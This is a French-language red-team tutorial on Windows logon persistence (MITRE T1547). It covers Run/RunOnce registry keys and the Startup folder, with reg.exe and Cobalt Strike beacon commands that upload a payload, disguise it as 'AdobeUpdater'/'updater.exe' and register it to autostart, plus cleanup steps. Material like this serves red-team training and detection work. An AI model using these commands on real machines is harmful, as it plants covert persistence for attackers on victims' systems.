L'exécution automatique au démarrage ou à l'ouverture de session est une famille de techniques, référencée par MITRE ATT&CK sous l'identifiant T1547, où un attaquant configure le système pour exécuter automatiquement une charge utile (payload) lors du démarrage de la machine ou de la connexion d'un utilisateur.
Technique 1 : Clés de Registre "Run" / "RunOnce"
Principe
La base de registre Windows contient de nombreuses clés qui permettent à des programmes de se lancer automatiquement à l'ouverture de session. Elles sont utilisées de manière légitime par Windows et des applications tierces. Un attaquant peut simplement y ajouter une entrée pour établir sa persistance.
Les clés les plus communes sont :
HKCU\Software\Microsoft\Windows\CurrentVersion\Run: Pour l'utilisateur courant. L'entrée est persistante et s'exécute à chaque connexion.HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce: Pour l'utilisateur courant. L'entrée est supprimée après sa première exécution.HKLM\Software\Microsoft\Windows\CurrentVersion\Run: Pour tous les utilisateurs. L'entrée est persistante et nécessite des privilèges élevés pour être modifiée.
Implémentation
L'exemple ci-dessous utilise des commandes natives de Windows (reg.exe) qui peuvent être exécutées depuis cmd.exe ou powershell.exe.
# 1. Naviguer vers un répertoire où déposer le payload (ex: %TEMP%)
cd %TEMP%
# 2. Déposer le payload (ici, on simule en créant un fichier)
copy C:\chemin\vers\mon\payload.exe updater.exe
# 3. Ajouter la clé de registre pour l'utilisateur courant (HKCU)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /t REG_SZ /d "C:\Users\MonUser\AppData\Local\Temp\updater.exe" /f**Exemple avec un C2 (type Cobalt Strike) :
// Se déplacer dans un répertoire discret
beacon> cd C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps
// Téléverser le payload depuis la machine de l'attaquant
beacon> upload C:\Payloads\http_x64.exe
// Renommer le payload pour qu'il paraisse légitime
beacon> mv http_x64.exe updater.exe
// Créer la valeur dans la clé de registre Run. Le type REG_EXPAND_SZ permet d'utiliser des variables d'environnement.
beacon> reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run Updater REG_EXPAND_SZ %LOCALAPPDATA%\Microsoft\WindowsApps\updater.exeVérification & Nettoyage
# Pour vérifier que la clé a bien été ajoutée
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater"
# Pour supprimer la persistance
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /fTechnique 2 : Dossier de Démarrage (Startup Folder)
Principe
Une méthode simple et ancienne consiste à placer un exécutable ou un raccourci (.LNK) dans le dossier "Démarrage" de l'utilisateur. Tout ce qui s'y trouve est exécuté à l'ouverture de la session.
Chemin pour l'utilisateur courant :
%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartupChemin pour tous les utilisateurs (nécessite des privilèges élevés) :
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Implémentation (Red Team)
# 1. Déposer le payload directement dans le dossier de démarrage
copy C:\chemin\vers\mon\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"Exemple avec un C2 :
// Se déplacer dans le dossier de démarrage de l'utilisateur
beacon> cd "C:\Users\pchilds\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
// Téléverser et renommer le payload
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exeNettoyage
# Supprimer simplement le fichier
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"